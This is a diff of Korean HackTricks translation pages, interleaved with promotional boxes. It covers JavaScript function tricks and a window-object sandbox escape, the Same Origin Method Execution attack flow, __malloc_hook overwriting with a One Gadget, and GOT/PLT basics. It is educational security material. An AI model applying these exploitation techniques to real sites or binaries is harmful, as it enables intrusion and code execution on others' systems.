Bind 함수는 `this` 객체와 주어진 매개변수를 수정하여 **함수의 복사본을 생성**할 수 있게 합니다. bind 함수는 **`this`** 객체와 주어진 **매개변수**를 수정하여 **함수의 복사본**을 생성할 수 있게 해줍니다.
```javascript ```javascript
//This will use the this object and print "Hello World" //This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) { var fn = function ( param1, param2 ) {
@ -315,12 +313,12 @@ var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World') bindFn_change('Hello', 'World')
``` ```
{% hint style="info" %} {% hint style="info" %}
**`bind`**을 사용하면 함수를 호출할 때 사용될 **`this`** 객체를 조작할 수 있습니다. **`bind`**를 사용하면 함수 호출 시 사용될 **`this`** 객체를 조작할 수 있습니다.
{% endhint %} {% endhint %}
### 함수 코드 ### 함수 코드
함수의 객체에 **액세스**할 수 있다면 해당 함수의 **코드를 얻을 수** 있습니다. 함수의 **객체에 접근**할 수 있다면 해당 함수의 **코드를 얻을 수** 있습니다.
```javascript ```javascript
function afunc(){ function afunc(){
return 1+1; return 1+1;
@ -330,12 +328,12 @@ console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function
``` ```
다음과 같은 경우에는 **함수에 이름이 없는** 경우에도 내부에서 **함수 코드**를 출력할 수 있습니다: 이름이 없는 **function**의 경우, 내부에서 **function code**를 여전히 출력할 수 있습니다:
```javascript ```javascript
(function (){ return arguments.callee.toString(); })() (function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0") (function (){ return arguments[0]; })("arg0")
``` ```
다른 함수에서 함수의 코드(주석 포함)를 추출하는 **임의의 방법**들: 일부 **무작위** 방법으로 다른 함수에서 함수의 **코드**(주석 포함)를 **추출**하는 방법:
```javascript ```javascript
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})() (function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})() (function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
@ -343,9 +341,9 @@ console.log(global.afunc.toString()); //This will print the code of the function
(u=>(String(u)))(_=>{ /* Hidden commment */ }) (u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })() (u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
``` ```
## 샌드박스 탈출 - window 객체 복구 ## Sandbox Escape - Recovering window object
Window 객체를 사용하면 alert 또는 eval과 같이 전역으로 정의된 함수에 액세스할 수 있습니다. Window 객체는 alert 또는 eval과 같은 전역적으로 정의된 함수에 접근할 수 있게 해줍니다.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```javascript ```javascript
@ -389,7 +387,7 @@ with(element) {
``` ```
{% endcode %} {% endcode %}
## 값에 액세스할 때 중단점 설정 ## 값 접근 시 중단점
```javascript ```javascript
// Stop when a property in sessionStorage or localStorage is set/get // Stop when a property in sessionStorage or localStorage is set/get
// via getItem or setItem functions // via getItem or setItem functions
@ -430,7 +428,7 @@ origValue = val;
debugAccess(Object.prototype, 'ppmap') debugAccess(Object.prototype, 'ppmap')
``` ```
## 자동 브라우저 액세스를 통한 페이로드 테스트 ## 페이로드 테스트를 위한 자동 브라우저 접근
```javascript ```javascript
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md //Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer"); const puppeteer = require("puppeteer");
@ -470,14 +468,17 @@ await sleep(1000);
await browser.close(); await browser.close();
})(); })();
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs 컬렉션**](https://opensea.io/collection/the-peass-family) * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하시거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# SOME - Same Origin Method Execution # SOME - Same Origin Method Execution
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 히어로까지 AWS 해킹 배우기</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **다음에 가입하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)**다크 웹**을 통해 동작하는 검색 엔진으로, **회사 또는 고객이** **스틸러 악성 소프트웨어**에 의해 **침해**되었는지 확인하는 **무료** 기능을 제공합니다. [**WhiteIntel**](https://whiteintel.io)**다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다. WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
그들의 웹사이트를 확인하고 **무료**로 엔진을 시도해보세요: 그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -28,50 +31,53 @@ WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로
## Same Origin Method Execution ## Same Origin Method Execution
가끔 페이지에서 일부 제한된 자바스크립트를 실행할 수 있는 경우가 있습니다. 예를 들어, **실행될 콜백 값을 제어할 수 있는 경우**입니다. 페이지에서 제한된 자바스크립트를 실행할 수 있는 경우가 있습니다. 예를 들어, [**실행될 콜백 값을 제어할 수 있는 경우**](./#javascript-function)입니다.
러한 경우에, 할 수 있는 가장 좋은 일 중 하나는 **DOM에 액세스하여** 거기에서 찾을 수 있는 민감한 작업(예: 버튼 클릭)을 호출하는 것입니다. 그러나 보통 **DOM에 흥미로운 것이 전혀 없는 작은 엔드포인트에서 이 취약점을 찾을 것**입니다. 런 경우, 할 수 있는 가장 좋은 일 중 하나는 **DOM에 접근하여** 그곳에서 찾을 수 있는 어떤 **민감한 작업을 호출하는 것**입니다 (예: 버튼 클릭). 그러나 일반적으로 이 취약점은 **DOM에 흥미로운 것이 없는 작은 엔드포인트에서 발견됩니다**.
러한 시나리오에서 이 공격은 매우 유용할 것입니다. 왜냐하면 그 목표는 **같은 도메인의 다른 페이지에서 DOM 내의 제한된 JS 실행을 악용**하여 매우 흥미로운 작업을 수행할 수 있도록 하는 것입니다. 런 시나리오에서 이 공격은 매우 유용합니다. 그 이유는 **같은 도메인의 다른 페이지에서 DOM 내의 제한된 JS 실행을 악용할 수 있는**이기 때문입니다.
기본적으로, 공격 흐름은 다음과 같습니다: 기본적으로 공격 흐름은 다음과 같습니다:
* **악용할 수 있는 콜백을 찾으세요** (잠재적으로 \[\w\\.\_]로 제한될 수 있음). * **악용할 수 있는 콜백을 찾습니다** (잠재적으로 \[\w\\.\_]로 제한됨).
* 제한이 없고 어떤 JS든 실행할 수 있는 경우, 이를 일반적인 XSS로 악용할 수 있습니다. * 제한이 없고 어떤 JS도 실행할 수 있다면, 일반 XSS처럼 이를 악용할 수 있습니다.
* **피해자에게** **공격자가 제어하는 페이지를 열도록** 하세요 * **피해자가 공격자가 제어하는 페이지를 열도록 만듭니다.**
* **페이지는** **다른 창**에서 **자체를 열게** 됩니다(새 창은 초기 창을 참조하는 **`opener`** 객체를 가질 것입니다). * **페이지가 다른 창에서 열립니다** (새 창은 초기 창을 참조하는 **`opener`** 객체를 가집니다).
* **초기 페이지**는 **흥미로운 DOM이 있는 페이지**를 로드할 것입니다. * **초기 페이지**는 **흥미로운 DOM**이 위치한 **페이지**를 로드합니다.
* **두 번째 페이지**는 **콜백을 악용하고** **`opener`** 객체를 사용하여 **초기 페이지에서 어떤 작업을 액세스하고 실행**할 것입니다(이제 흥미로운 DOM이 포함된 초기 페이지). * **두 번째 페이지**는 **콜백을 악용하여 취약한 페이지를 로드하고** **`opener`** 객체를 사용하여 **초기 페이지에서 어떤 작업을 접근하고 실행합니다** (이제 흥미로운 DOM을 포함하고 있습니다).
{% hint style="danger" %} {% hint style="danger" %}
초기 페이지가 두 번째 페이지를 생성한 후 새 URL에 액세스하더라도, **두 번째 페이지의 `opener` 객체는 새 DOM에서 첫 번째 페이지를 여전히 유효한 참조로 유지**합니다. 초기 페이지가 두 번째 페이지를 생성한 후 새 URL에 접근하더라도, **두 번째 페이지의 `opener` 객체는 여전히 새 DOM에서 첫 번째 페이지에 대한 유효한 참조입니다**.
또한 두 번째 페이지가 opener 객체를 사용할 수 있도록 하려면 **두 페이지가 동일한 출처에 있어야**합니다. 이것이 이 취약점을 악용하기 위해 **같은 출처의 XSS를 찾아야 하는 이유**입니다. 또한, 두 번째 페이지가 opener 객체를 사용할 수 있으려면 **두 페이지 모두 같은 출처에 있어야 합니다**. 이것이 이 취약점을 악용하기 위해 **같은 출처에서 XSS를 찾아야 하는 이유입니다**.
{% endhint %} {% endhint %}
### Exploitation ### Exploitation
* 이 양식을 사용하여 이 유형의 취약점을 악용하는 PoC를 생성할 수 있습니다: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) * 이 양식을 사용하여 **이 유형의 취약점을 악용하기 위한 PoC를 생성할 수 있습니다**: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* 클릭을 통해 HTML 요소로 DOM 경로를 찾으려면 이 브라우저 확장 프로그램을 사용할 수 있습니다: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool) * 클릭할 HTML 요소에 대한 DOM 경로를 찾기 위해 이 브라우저 확장 프로그램을 사용할 수 있습니다: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Example ### Example
* [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)에서 취약한 예제를 찾을 수 있습니다. * 취약한 예제를 [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)에서 찾을 수 있습니다.
* 이 예제에서 서버는 **콜백 매개변수의 내용에 따라 javascript 코드를 생성**하고 **HTML에 추가**합니다: `<script>opener.{callbacl_content}</script>` . 이 예에서는 명시적으로 `opener`의 사용을 표시할 필요가 없습니다. * 이 예제에서 서버는 **자바스크립트 코드를 생성하고** 이를 **콜백 매개변수의 내용에 따라** HTML에 추가하고 있습니다: `<script>opener.{callbacl_content}</script>` . 그래서 이 예제에서는 `opener`의 사용을 명시적으로 지시할 필요가 없습니다.
* 또한 이 CTF writeup을 확인하세요: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) * 이 CTF 작성물도 확인하세요: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## References ## References
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) * [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 히어로까지 AWS 해킹 배우기</strong></summary> <summary>Support HackTricks</summary>
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **다음에 가입하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,45 +1,52 @@
# AW2Exec - \_\_malloc\_hook # AW2Exec - \_\_malloc\_hook
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹을 배우세요!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}
## **Malloc Hook** ## **Malloc Hook**
공식 GNU 사이트에 따르면 변수 **`__malloc_hook`**은 `malloc()`이 호출될 때 **호출될 함수의 주소를 가리키는 포인터**로, **libc 라이브러리의 데이터 섹션에 저장**됩니다. 따라서 이 주소가 **One Gadget**과 같은 것으로 덮어씌워지고 `malloc`이 호출되면 **One Gadget이 호출**됩니다. 공식 GNU 사이트에 따르면, 변수 **`__malloc_hook`**는 `malloc()`이 호출될 때마다 호출될 **함수의 주소를 가리키는 포인터**로, **libc 라이브러리의 데이터 섹션에 저장됩니다**. 따라서 이 주소가 예를 들어 **One Gadget**으로 덮어쓰여지면 `malloc`이 호출될 때 **One Gadget이 호출됩니다**.
malloc을 호출하려면 프로그램이 호출할 때까지 기다리거나 **`printf("%10000$c")`를 호출**하여 `libc`가 많은 바이트를 할당하도록 만들어 힙에 할당하도록 할 수 있습니다. malloc을 호출하기 위해 프로그램이 호출할 때까지 기다리거나 **`printf("%10000$c")`**를 호출하여 너무 많은 바이트를 할당하여 `libc` 힙에 할당하도록 할 수 있습니다.
One Gadget에 대한 자세한 정보: One Gadget에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
{% content-ref url="../one-gadget.md" %} {% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md) [one-gadget.md](../one-gadget.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="danger" %}
GLIBC >= 2.34에서는 훅이 **비활성화**되어 있습니다. 최신 GLIBC 버전에서 사용할 수 있는 다른 기술이 있습니다. [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)를 참조하세요.
{% endhint %}
## References ## References
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹을 배우세요!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
</details> </details>
{% endhint %}

View file

@ -1,88 +1,90 @@
# AW2Exec - GOT/PLT # AW2Exec - GOT/PLT
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
* **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 **공유**하세요.
</details> </details>
{% endhint %}
## **기본 정보** ## **기본 정보**
### **GOT: Global Offset Table** ### **GOT: 전역 오프셋 테이블**
**Global Offset Table (GOT)**은 **동적으로 링크된 이진 파일**에서 **외부 함수의 주소를 관리**하는 메커니즘입니다. 이러한 **주소는 런타임에서 알려지지 않기 때문에** (동적 링킹으로 인해) GOT은 이러한 외부 심볼의 주소가 **해결된 후에 주소를 동적으로 업데이트**하는 방법을 제공합니다. **전역 오프셋 테이블 (GOT)**은 동적으로 연결된 바이너리에서 **외부 함수의 주소**를 관리하는 데 사용되는 메커니즘입니다. 이러한 **주소는 런타임까지 알 수 없기 때문에** (동적 연결로 인해) GOT는 **이 외부 기호의 주소를 동적으로 업데이트하는 방법**을 제공합니다.
GOT의 각 항목은 이진 파일이 호출할 수 있는 외부 라이브러리의 심볼에 해당합니다. **함수가 처음 호출될 때 동적 링커에 의해 실제 주소가 해결**되고 GOT에 저장됩니다. 동일한 함수에 대한 후속 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다. GOT의 각 항목은 바이너리가 호출할 수 있는 외부 라이브러리의 기호에 해당합니다. **함수가 처음 호출될 때, 실제 주소는 동적 링커에 의해 해결되어 GOT에 저장됩니다**. 이후 동일한 함수에 대한 호출은 GOT에 저장된 주소를 사용하여 주소를 다시 해결하는 오버헤드를 피합니다.
### **PLT: Procedure Linkage Table** ### **PLT: 프로시저 링크 테이블**
**Procedure Linkage Table (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하기 위한 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출하면 해당 함수와 관련된 PLT 항목으로 제어가 전달**됩니다. 이 PLT 항목은 주소가 이미 해결되지 않은 경우 동적 링커를 호출하여 함수의 주소를 해결합니다. 주소가 해결되면 GOT에 저장됩니다. **프로시저 링크 테이블 (PLT)**은 GOT와 밀접하게 작동하며 외부 함수 호출을 처리하는 트램폴린 역할을 합니다. 바이너리가 **외부 함수를 처음 호출할 때, 제어는 해당 함수와 연결된 PLT의 항목으로 전달됩니다**. 이 PLT 항목은 함수의 주소가 아직 해결되지 않은 경우 동적 링커를 호출하여 주소를 해결하는 역할을 합니다. 주소가 해결된 후, 그것은 GOT에 저장됩니다.
**따라서,** 외부 함수나 변수의 주소가 해결되면 GOT 항목이 직접 사용됩니다. **PLT 항목은 동적 링커를 통해 이러한 주소의 초기 해결을 용이하게**합니다. **따라서,** GOT 항목은 외부 함수나 변수의 주소가 해결된 후 직접 사용됩니다. **PLT 항목은 이러한 주소의 초기 해결을 동적 링커를 통해 용이하게 하는 데 사용됩니다.**
## 실행 ## 실행 가져오
### GOT 확인 ### GOT 확인하기
**`objdump -s -j .got ./exec`**를 사용하여 GOT 테이블의 주소를 얻으세요. GOT 테이블의 주소를 가져오려면: **`objdump -s -j .got ./exec`**
![](<../../../.gitbook/assets/image (619).png>) ![](<../../../.gitbook/assets/image (619).png>)
GEF에서 **실행 파일을 로드한 후** GOT에 있는 **함수를 볼 수 있습니다**: `gef➤ x/20x 0xADDR_GOT` GEF에서 **실행 파일을 로드한 후** **GOT에 있는** **함수**를 **볼 수 있는지 확인하세요**: `gef➤ x/20x 0xADDR_GOT`
